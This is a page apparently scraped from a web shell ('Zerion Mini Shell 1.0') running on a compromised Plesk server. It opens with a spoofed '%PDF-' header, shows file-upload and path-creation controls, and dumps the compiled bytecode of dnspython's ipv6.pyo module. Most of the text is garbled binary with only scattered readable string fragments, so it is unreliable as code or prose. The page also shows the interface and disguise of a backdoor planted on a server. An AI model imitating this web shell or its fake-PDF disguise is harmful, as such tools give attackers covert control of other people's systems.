%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/ipv6.pyo

�
�ac@s�ddlZddlZddlZddlZddlmZmZmZej	d�Z
d�Zej	d�Zej	d�Z
ej	d�Zd	�ZdZd
�ZdS(i����Ni(txrangetbinary_typetmaybe_decodes
0+([0-9a-f]+)cCs5t|�dkr!td��ntj|�}g}d}t|�}xk||kr�t|||d!�}tj|�}|dk	r�|jd�}n|j	|�|d7}qKWd}d}d}	t
}
xvtd�D]h}||dkr.|
rC|}||	}||kr"|	}|}nt
}
qCq�|
s�|}	t}
q�q�W|
r{d}||	}||kr{|	}|}q{n|dkr"|dkr�|d	ks�|d
kr�|d
dkr�|d	kr�d}
nd
}
|
t
jj|d�}q1dj|| �ddj|||�}ndj|�}|S(Nis IPv6 addresses are 16 bytes longiiii����it0iitffffs::s::ffff:it:(tlent
ValueErrortbinasciithexlifyRt
_leading_zerotmatchtNonetgrouptappendtFalseRtTruetdnstipv4t	inet_ntoatjoin(taddressthextchunkstitltchunktmt
best_starttbest_lentstartt
last_was_zerotendtcurrent_lentprefix((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/ipv6.pyRs^	

	

	s(.*):(\d+\.\d+\.\d+\.\d+)$s::.*s.*::$c
Csrt|t�s|j�}n|dkr3d}ntj|�}|dk	r�ttjj	|j
d���}dj|j
d�j�|d|d|d|d�j�}nt
j|�}|dk	r�|d}n(tj|�}|dk	r|d }n|jd	�}t|�}|d
kr8tjj�nt}g}x�|D]�}|dkr�|rrtjj�nt}x�tdd
|d�D]}|jd�q�WqKt|�}	|	d
kr�tjj�n|	d
kr�dd
|	|}n|j|�qKW|d
kr%|r%tjj�ndj|�}ytj|�SWn&tjtfk
rmtjj�nXdS(Ns::s0::iu{}:{:02x}{:02x}:{:02x}{:02x}iiii����Ritt0000iR(t
isinstanceRtencodet
_v4_endingRRt	bytearrayRRt	inet_atonR
tformattdecodet_colon_colon_startt_colon_colon_endtsplitRt	exceptiontSyntaxErrorRRRRRRt	unhexlifytErrort	TypeError(
ttextRtbRRt
seen_emptyt	canonicaltcRtlc((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/ipv6.pyR)dsT	!


si
s��cCs
|jt�S(N(t
startswitht_mapped_prefix(R((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/ipv6.pyt	is_mapped�ss
s��(treRt
dns.exceptionRtdns.ipv4t_compatRRRtcompileR
RR'R,R-R)R;R<(((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/ipv6.pyt<module>s	C	G

Zerion Mini Shell 1.0